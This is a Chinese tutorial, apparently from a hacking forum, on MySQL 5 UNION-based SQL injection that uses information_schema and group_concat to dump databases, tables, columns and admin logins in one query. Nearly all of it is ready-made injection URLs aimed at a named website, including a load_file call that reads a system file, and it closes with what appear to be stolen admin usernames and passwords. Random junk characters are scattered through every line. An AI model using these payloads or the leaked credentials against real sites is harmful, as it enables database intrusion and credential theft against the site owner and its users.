此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
" @& d0 w9 ]8 o$ |+ S但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人0 c- D) M6 K) h( D3 E
) K+ N$ X, G+ S
/ M3 h2 P& L' s8 l9 h6 S优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入2 P1 C# `, P* z, x
" @( W9 J5 `6 s' w. g! I
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...9 i: K3 a; _2 u0 h
! f. `& p- C) Y3 W) v& {
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示 y2 L; t6 D( n% H: V
在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等9 l$ i2 s$ ^ `+ Y+ K4 ^3 {
! Q/ e) R2 V: s0 e% f: P2 d
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17, F7 t# s2 {! i
/ x7 Q- H' y. K+ \# Y
读出所有库:! u2 x/ o) n. w1 u& e% B
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA
4 B( g: a. w0 N2 z O- f7 H3 j3 T. D' Y) _
& D1 u& C8 Z* s! ~
1 t1 ]. ^, {' U2 q# I读出所有表:
( f- }% k* }; B5 h9 ihttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()3 B, X( W$ A/ s/ q( U
: s2 R5 u* c" F: H5 y
读出所有表字段:* ?$ J J- m& C3 b6 Z( ]
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)4 P9 I8 A. I: E/ }; e, \
*/ (97,100,109,105,110)为admin的ascii码 依次类推
# u( z& `# l' M) S7 ~
. ~4 g% l8 g. i% r, O' j) N7 a" g读出所有表字段里的内容:
! O$ [5 ~+ i. o; M8 Qhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin& d" N* O8 w4 T3 E, a
* S" q; [$ `* v0 B0 P
' ?& m* z, B* {" m& l. [
& Q6 [3 O# F1 N0 v5 |
; ?: T2 `+ ~, a3 ^* W
0 @$ [0 U6 m/ j* W
' M7 Z# g, c; i2 S% r# Rhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%234 t. r2 k( [# t, j
6 N0 V1 r% ^8 L4 r
% y5 u! e! m/ q# E3 ihttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23' T' b* x) u$ P/ }& o1 m
! K2 S* ^& s7 V: a9 A$ X" Nhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
+ ?4 f8 n+ f' D1 z1 V6 m4 T0 I! v) p
+ r, R3 h) M2 Y: a3 ^* e" P
& l8 D# S& Z6 S7 o% K dhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23
' q/ C5 b6 E: a9 C' u# j
! X) i2 ~1 E" {& f1 e" K C% Z2 y d) e+ f" m, d% s* i
webmaster:dzb521123,simlab:simadmin20043233
+ \7 {# n/ u- e2 D. M |